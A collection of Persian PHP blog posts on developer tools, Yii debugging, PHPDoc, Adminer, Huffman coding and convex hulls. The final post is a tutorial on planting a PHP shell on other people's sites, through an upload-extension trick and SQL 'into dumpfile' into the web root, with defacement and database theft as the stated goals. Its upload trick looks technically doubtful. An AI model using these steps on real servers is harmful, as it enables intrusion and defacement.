PHP Environment

معرفی چندتا  ابزار برای توسعه راحت تر php…

اگر با nodejs ویا python آشنا باشید احتمالا nvm و virtualenv رو می شناسید.
وقتی که قراره روی یک ماشین develop انجام بدید ولی برای هر کدوم از پروژه هاتون به ورژن خاص از php,python ویا node احتیاج داشته باشید switch کردن راحت بین این ها میشه دغدغه شما. یا وقتی که بخواهید در یک محیط یکسری از extension هارو داشته باشید و جای دیگه نداشته باشید یا حتی ورژن های مختلف از extension‌ هارو.

برای swtich کردن و داشتن ورژن های مختلف php سه تا ابزار زیر هست

و برای داشتن چندتا محیط virtPHP

چگونه در yii دیباگ کنیم؟

داکیومنت Yii برای Debug کردن خیلی خوبه که از اینجا می تونید بخونید. من خودم برای دیباگ کردن از دوتا راه استفاده می کنم

۱- راه حل قدیمی تر من :

CFileLogRoute رو load می کنم و الان دارم بهش می گم در error ها و warning هارو لاگ بگیر، لاگ ها به فایل  protected/runtime/application.log اضافه میشه، من خودم با tailf آخرین تغییراتش رو می بینم.

برای لاگ کردن هم از

استفاده می کنم.

۲- راه حلی که الان استفاده می کنم:

اولین بار phpconsole رو توی Zend دیدم، فریم ورکی که هیچوقت دوسش نداشتم و نخواهم داشت! الان برای دیباگ کردن از phpconsole استفاده می کنم، extensionش رو از اینجا روی کروم نصب کنید ، بعد extension اونو برای Yii از اینجا دانلود کنید.

با استفاده از phpconsole میشه به جای خوندن فایل application.log لاگ هارو داخل console کروم چاپ می کنه و بصورت notification هم نشون میده کاری که دقیقا انجام میده اضافه کردن PHP-Console به Header صفحه است.

البته یکسری قابلت دیگه هم داره که می تونید از سایت http://phpconsole.com/ بخونید.

بازنویسی فیلدها در php

چیزی که می خوام بنویسم خیلی سادست، شاید اونقدر ساده که نوشتنش مایه تمسخرم بشه:) ولی از این روش خوشم میاد و استفاده می کنم ، شاید بقیه هم خوششون اومد:)

فرض کنید به URL زیر دسترسی پیدا می کنید

سرور php مقدار id رو برابر ۳ دریافت می کنه، در مورد post هم همینطور، یعنی اگر داشته باشیم

سمت سرور مقدار Mohammad برای fname ست شده،این چیز خیلی ساده و تقریبا به دردنخوری بود!ولی من ازش یه استفاده می کنم . قبل از checkbox ها یک فیلد hidden با همون نام در نظر می گیریم، اینطوری می تونم برای unchecked بودن checkbox هم یک مقداری دریافت کنم.

کامنت گذاری PHP

خوب، اصل مطلب، بدون هیچ حاشیه ای و فکر کردن روی چه طور شروع کنم نوشتن این یکی رو؟

معمولا ما برنامه نویس ها اونقدر حوصله نداریم که کدمون رو درست کامنت بگذاریم، ولی وقتی application جدی بشه ، کامنت گذاری یک بخش جدایی ناپذیر از application میشه.دلایلش خیلی روشنه و این بخش رو می پرونیم.اما نکته مهم تر(به نظر من) اینکه شور قضیه هم درنیاد.مثلا کد زیر یک جورایی کامنت اضافه و حشو حساب میشه و بهتر این جور چیزها از روی اسم متغیر مشخص باشه که داخل کد زیر هم هست.در حقیقت کامنت ها به ما بفهمونند که چرا داریم این کارو می کنیم ، اینکه چطور رو می شه در خود کد فهمید(البته جاهای سخت که با یک نگاه نمی شه فهمید رو باید کامنت گذاشت تا علاوه بر Why به How هم از داخل کامنت مشخص شه)

// توجه:قسمت بالا تجربیات خودم بود و نحوه ای که دوست دارم، هیچ لزومی وجود نداره همه مثل هم فکر کنیم، شما می تونید واسه هر خط کدتون ۱۰ خط کامنت بگذارید.

بهترین روش برای کامنت گذاشتن در PHP استفاده از استاندارد PHPDoc ه، در حقیقت خود PHPDoc یک اقتباس از JavaCode هست.استفاده از استاندارد PHPDoc دو مزیت داره،

  1. می تونید از روی کامنت هاتون document بسازید.
    برای اینکار اول phpdoc رو نصب می کنید.

 

و بعد از اون برای کدهای موجود در شاخه جاری، در پوشه docs یک document بسازید.

۲)IDE ها مفهوم کامنت هارو می فهمند و به شما و دیگران در autocomplete ، آوردن document موقع استفاده و … کمک می کنند.

برای کامنت گذاری با استاندارد PHPDoc در NetBeans

  1. کامنت ها با /** شروع می شه  ولی با */ بسته میشه.
  2. در netbeans بالای هر تابع اگر /** رو بنویسید و enter بزنید ، خود netbeans براتون بخشی از کامنت رو درست می کنه، پارامترهای ورودی و چیزی که تابع بر می گردونه.
  3. در حقیقت هر block از PHPDoc از سه بخش تشکیل میشه، شرح کوتاه(تک خطی)،شرح بلند(هر چقدر بخواهید) و کلمات کلیدی. می تونید از شرح کوتاه یا بلند کدتون از بعضی از دستورات html استفاده کنید تا PHPDoc موقع ساخت document دقیقا از اونها استفاده کنه.شما می تونید از


    استفاده کنید.
  4. کلمات کلیدی در PHPDoc همه تک کلمه هستند و با @ شروع می شند.
    میشه کلمات کلیدی PHPDoc رو به چندبخش تقسیم کرد،
  • Data Type Tags
    param@ که برای پارامترهای ورودی متد و function ها استفاده میشه
    return@ که نوع چیزی که برگردونده میشه رو مشخص می کنه
    var@ که برای مشخص کردن نوع متغیرهای کلاس ویا ثابت ها به کار میره
     
  • Legal Tags
    author@ و copyright@ و license@ که کاملا مشخصه
  • Versioning Tags
    مثل version@ و since@ و deprecated@
  • و بقیشون مثل
    example@ و link@ و see@ و uses@ و package@ و subpackage@

نکته قشنگ اینکه اگه از یه IDE خوشگل مثل Netbeans استفاده کنید(مثل الان خودم) می تونید از تگ todo@ هم استفاده کنید که استاندارد نیست، ولی با Ctrl+6 لیست تمام جاهارو براتون بیاره که قراره انجام بدید.برای استفاده از todo در یک خط هم از //TODO استفاده می شه کرد.

زنده شدن خاطرات با archive.org

امروز توی سایت نرد نیوز می گشتم که چشمم افتاد به یه خبر واسه سایت آرشیو، نظرم رو جلب کرد و منو کشوند دنبال خودش!

مثل اینکه آرشیو یه نوع crawler که میاد کلا از هرچیزی که نسخه نگه می داره واسه آیندگان، حتی سایت ها. خوب مسلما گوگل و … رو داره ولی چیزی که برای من جالب بود تست کردن اولین سایت هایی بود که خودم نوشتم و الان نه دامینش رو دارم و نه سورس سایت رو! حیف شد.

  • memeri.com

memeri.com

اولین سایتی که زدم اسم memeri.com بود، فک کنم دوم راهنمایی بودم. خیلی دوست داشتم آدرس memo.com رو بگیرم که متاسفانه پر بود و رسیدم به memeri.com . شماها یادتون نمی یاد ولی یه زمانی .com ارزون بود :ی.

این سایت رو با asp classic نوشته بودم، اون موقع ها دوتا کتاب ASP خریدم که هنوزم دوتاشون رو دارم. ASP 3.0 ، هنوز عصر .NET نشده بود وقتی نوشته شد این سایت. نکته قابل توجهش اینجا بود که حتی یک صفحه از کل سایتم هم که با ASP بود کار نکرد ، شاید باورتون نشه ولی حدود ۲ ماه کد زدم بدون اینکه حتی یک بار back end رو تست کنم و خروجی هم کار نکردن شد:ی

قسمت های مختلفی داشت ، ازدواج ( یه چیزی شبیه دوست یابی های اون موقع ) و … . از access به عنوان دیتابیس استفاده کرده بود. بعدا هم تغییر کاربری داد که احتمالا همه ی بچه های راهنمایی و دبیرستان شهید سلطانی ازش استفاده می کردند.

  • mersa.ir

این دومین دامنه ای بود که ثبت کردم، دیگه این موقع ها بود که با php و mysql آشنا شده بودم و با asp خداحافظی گرمی کرده بودم!
نسخه اولش یه فروشگاه بود که به درگاه پرداخت وصل می شد، سوم راهنمایی بودم.یه سکه طلا داشتم که حدود ۱۰۰ و خورده ای فروختمش ، با ۱۰۰ هزارتومنش با سایت پرداخت.کام ( خدایش بیامرزد ) قرارداد بستم و با بقیه پولم کلی سی دی بازی خریدم. می خواستم فروشگاه اینترنتی بازی های رایانه ای راه بندازم.یه مقداری هم پول جمع کرده بودم که ۱۵ هزارتومن هزینه هاست شد و حدود ۲۵ هزارتومن هم هزینه رایتر. نوشتن سایت حدود دو ماه ازم زمان گرفت و یک سال هم نگهش داشتم ، ولی هیچ چی نفروختم:ی

تابستون سال بعد سایت رو بازنویسی کردم و می خواستم بزرگترین سایت ebook فارسی رو راه بندازم، روی همون دامنه

mersaیادم میاد با بدبختی با اون اینترنت دایل آپ اونهمه کتاب رو دانلود و دوباره آپلود کردم، اون موقع ها توی مجید آنلاین فعال بودم و روزی ۵۰۰ تا بازدید داشتم.
یه خورده که گذشت بهش سیستم لینک باکس هم اضافه کردم و شده بود عکس بالا. ( این سایت دوتا دامنه داشت ، یکی دیگش p30today.com بود )

 

 

 

بزرگان از چه استفاده می کنند؟

چند وقت پیش سر یه پروژه ای مجبور شدم برم سراغ scale کردن اپلیکشن های تحت وب.فرض کنید ۳ سال دیگه بازدید وبلاک من به جایی برسه که برای پاسخگویی به درخواست ها مجبور باشم از رم، پهنای باد ، IO و … بیشتری استفاده کنم ، طوری که نشه با سرور فعلی ( که حدود ۲۰ تا سایت دیگه هم روش هاست کردم ) جواب گرفت، خوب می رم سراغ یه VPS جدا واسه وبلاگم. حالا یه سال می گذره و بازدیدش بازهم می ره بالاتر، مجبورم برم سراغ یه dedicate server واسه وبلاگم و هی به اون رم و هارد اضافه کنم. ولی اضافه کردن رم و هارد تا یه جایی جواب می ده. در نهایت مجبور می شم برم سراغ Scale کردن سایت. یعنی اینکه وبلاگ من روی چندین سرور هاست شده باشه. واسه این کار راه های مختلفی هست، مثلا باید دیتابیس رو Shard کنید و … که اگه سرچ کنید به نتایج خیلی بهتری می رسید تا من اینجا بگم.

ولی چیزی که تو این مدت توجه من رو جلب کرد این بود که سایت های بزرگ از چه زبون های برنامه نویسی ای استفاده می کنند؟

 

Googleگوگل:

غول تکنولوژی دنیا ( البته بر اساس مطالبی که من چند جای مختلف خوندم ) برای بیشتر کارهاش داره از Python استفاده می کنه. منظورم از بیشتر کارهاش ، کارهای وب بیس و back end کلی سایت هست. برای بانک اطلاعاتی هم از یک بانک اطلاعاتی که خود گوگل استفاده کرده داره استفاده می شه به اسم BigTable. البته در اوایل کار گوگل از MySQL استفاده می کرد ، بعدتر به اراکل مهاجرت کرد و بعد ترها یه مقاله نوشت که من چیزی دارم به اسم BigTable و دارم ازش استفاده می کنم. BigTable یه بانک اطلاعاتی NoSQL هست.البته نه از نوع MongoDB بلکه چیزی شبیه Casandra ( یعنی مبتنی بر ستون نه سند ) BigTable با C و C++ نوشته شده و کلا فلسفه ساختش اجرا روی هزاران ماشین بصورت همزمان بوده. شما نمی تونید ازش مثل MySQL یا بقیه دیتابیس ها استفاده کنید، یعنی نمی تونید اونو روی سرورتون نصب کنید و فقط اگه از Google App Eng استفاده کنید می تونید توش دیتا ذخیره کنید.

Yahooفیس بوک:

فیس بوک روز اول با PHP و MySQL شروع به کار کرد، بعدترها دید واقعا نمی شه با اینها کار به جایی ببره و شروع کرد از نسخه های customs شده خودش واسه هرکدوم استفاده کنه. مثلا برای mysql یه patch نوشت که کارایی رو خیلی بالاتر ببره یا xhp رو نوشت.البته گفته می شه بخش هاییش رو هم الان با C++، جاوا، پایتون و erlang نوشته. از لحاظ بانک اطلاعاتی هم یک مقداری داره switch می کنه روی بانک اطلاعاتی توسعه یافته شده توسط خودش به اسم Casandra ، چیزی شبیه BigTable گوگل!

YouTube

 

YouTube:

حتما می دونید که الان صاحبش گوگل هست ، و طبق چیزی که من می دونم با پایتون و MySQL هم روز اول نوشته شده.

 

TwitterTwitter:

Twitter در حال حاضر با Scala نوشته شده و یه فریم ورک هم برای لود بالانسینگ داره به نام gizzard که با همین Scala هست.

از MySQL استفاده می کنه ولی چیزی نوشته به اسم FlockDB واسه GraphDB کردن MySQL . هرچند بخشی از کارهاش رو واسه تست برده رو Neo4j. واسه اطلاعات بیشتر در مورد دیتابیس های گرافی به سایت گراف دی بی دات آی آر سر بزنید.

WikiPediaWikiPedia:

ویکی پدیا هم مثل خیلی جاهای دیگه با php و MySQL شروع کرد و الانم داره باهاشون پیش می ره. هرچند چند وقت پیش گفت می خواد بره سراغ MariaDB که یه Clone از MySQL هست.

 

 

 

 

Adminer ، برنامه مدیریت دیتابیس تحت وب

فکر نمی کنم برنامه نویس php وجود داشته باشه که تاحالا سر و کارش به phpMyAdmin نیفتاده باشه، برنامه ای فوق العاده خوب و قوی واسه مدیریت دیتابیس ، اونم تحت وب. ( البته خود من واسه طراحی هام از WorkBench استفاده می کنم که خیلی واسه EER و … بهتره )

ولی جایگزین دیگه هم برای phpMyAdmin وجود داره، حتی از زبان فارسی هم پشتیبانی می کنه و فایل lang فارسی توش گنجونده شده. اسمش Adminer هست.

اولین خاصیت جالب و خوبی که داره پشتیبانی از طیف وسیعتری از بانک های اطلاعاتیه، البته از نظر گرافیکی تقریبا در حد صفر و احتمالا یه خط css هم توش وجود نداشته باشه. ولی خوب خیلی سبک تره ، از SQLite، MS SQL,Oracel,PostgreSQL و MySQL پشتیبانی می کنه. به نقل از سایت خودش قابلیت های خیلی بیشتری داره و البته من از مدل رسم EERش خیلی خوشم اومد ( نسبت به phpMyAdmin و نه WorkBench )

یه مقایسه بین phpMyAdmin و Adminer که توی سایت Adminer هست.

خیلی پارامترهای خوبی داره، به دانلود و  تست کردن یکبار می ارزه ( یک فایل php که حجمش حدود ۳۰۰ کیلوبایت ه)، خیلی راحت تره ولی بزرگترین مشکل گرافیک کار باشه که اصلا خوب نیست. ( البته احتمالا فلسفه سبک تر کردن رو داشتن، واسه همین اصلا از هیچ عکسی هم توی صفحه استفاده نشده )

مرجع ها:

مقایسه با phpmyadmin
http://www.adminer.org/en/phpmyadmin/

سایت رسمی
http://www.adminer.org/en/

دانلود از sourceforge
http://downloads.sourceforge.net/adminer/adminer-3.6.3.php

کدینگ هافمن فایل با php

کدینگ و دیکدینگ هافمن فایل با استفاده از php رو می تونین از لینک زیر دانلود کنید.

فقط فولدر ها باید permission 777 داشته باشند.

اگه فرمت فایل moeinhuffman باشه اونو دیکد می کنه، در غیر اینصورت اونو کد می کنه و یه فایل با پسوند moeinhuffman می سازه

huffman.tar

پوسته محدب

پوسته محدب یا Convex Hull یعنی اینکه وقتی یه سری نقطه داری، یه محیطی که وقتی هر دوتا نقطه رو به هم وصل می کنی ، توی این پوسته باشه.
پوسته هم از خود این نقطه ها  تشکیل می شه.

واسه پوسته محدب الگوریتم زیاده، ولی یکیش از همه باحال تره که big O ش nlg n .

 

الگوریتم ConvexHull با تقسیم و حل

 

پیاده سازیش با php هم توی لینک هست

 

 

چه جوری فایل شل رو با استفاده از دستورات sql آپلود کنیم؟

وقتی می خواهید یه فایل شل توی یه سایتی آپلود کنید،اول باید توی اون سایت یه باگی پیدا کنید،

مثلا فرض کنید یه سایتی به کاربراش فقط اجازه آپلود فایل های تصویری رو می ده، اونم می یاد با پیدا کردن آخرین .(نقطه) در اسم اون فایل و مقایسه عبارت بعد از dot با فرمت های قابل قبولش انجام می ده.

مثلا moein.moein.png خوب این یه فایل با فرمت png و اجازه آپلود شدن هم داره، چرا؟ چون عبارت بعد از آخرین نقطه رو به عنوان فرمت فایل در نظر می گیره که اونم png یه و فایل رو آپلود می کنه.البته این دفعه سیستم فرمت فایل رو درست تشخیص داد. ولی ما می خوایم گولش بزنیم … من یه فایل php درست می کنم و توش هرچی که دوست دارم رو می نویسم، به عنوان یه چیز ساده یه فایلی که فقط یه عبارت کوچولو رو چاپ کنه … Hacked By KNTU Hackers

<?php

echo (“Hacked By KNTU Hackers”);

?>

خوب حالا فایلم رو save می کنم ولی این دفعه اسمش رو می ذارم moein.php?f=.png

موقع آپلود اون سایت میاد دوباره آخرین دات رو پیدا می کنه، ادامش رو می خونه و به png می رسه و اجازه آپلود رو می ده.حالا من توی سایت اونا یه فایلی به اسم moein.php دارم که وقتی اجرا شه، توی صفحه Hacked By KNTU Hackers رو نشون می ده.البته این یه فایل ساده php بود ، به جای آپلود این فایل می تونید یه فایل شل آپلود کنیم و کلا اون سایت رو دیفیس کنید، از دیتابیسش بک آپ بگیرید یا …

ولی در اصل قرار بود با دستورات sql بگیم که چه جوری می شه یه فایل شل رو آپلود کرد و همه اینایی که گفتم یه جورایی مقدمه و در فشانی بود:دی

برای راحتی کار فرض کنید که به phpmyadmin یه سایتی دسترسی دارید، حالا می خواهید با استفاده از همین امکان ساده یه فایل php رو آپلود کنید.

خوب به عنوان یه کار ساده یه table توی یکی از دیتابیس ها درست می کنیم.

CREATE TABLE IF NOT EXISTS shell (
shell text NOT NULL
) ;

یه جدولی که فقط یه فیلد داره و اسم اونم shell گذاشتیم.

حالا یه سری اطلاعات مفیدتری توی این جدول می ریزیم، مثلا

INSERT INTO shell (

shell

) VALUES (

‘<?php echo (“Hacked By KNTU Hackers”); ?>’
الان ما یه سطری رو به جدول insert کردیم که توی اون یه کد php قرار داره.
حالا از این جدول یه خروجی می گیریم و توی یه فایل php ذخیره می کنیم ، مثلا
select * into dumpfile ‘/var/www/hacked.php’ from shell
حالا یه فایل به اسم hacked.php تولید شده،که توی اون یه عبارت php قرار داره.
وقتی اون فایل رو اجرا کنید، عبارت Hacked By KNTU Hackers نمایش داده می شه.حالا دوباره می تونید به جای این اطلاعات، می تونید با یه فایل شل این کارو انجام بدید و یه فایل شل رو با استفاده از دستورات sql آپلود کنید.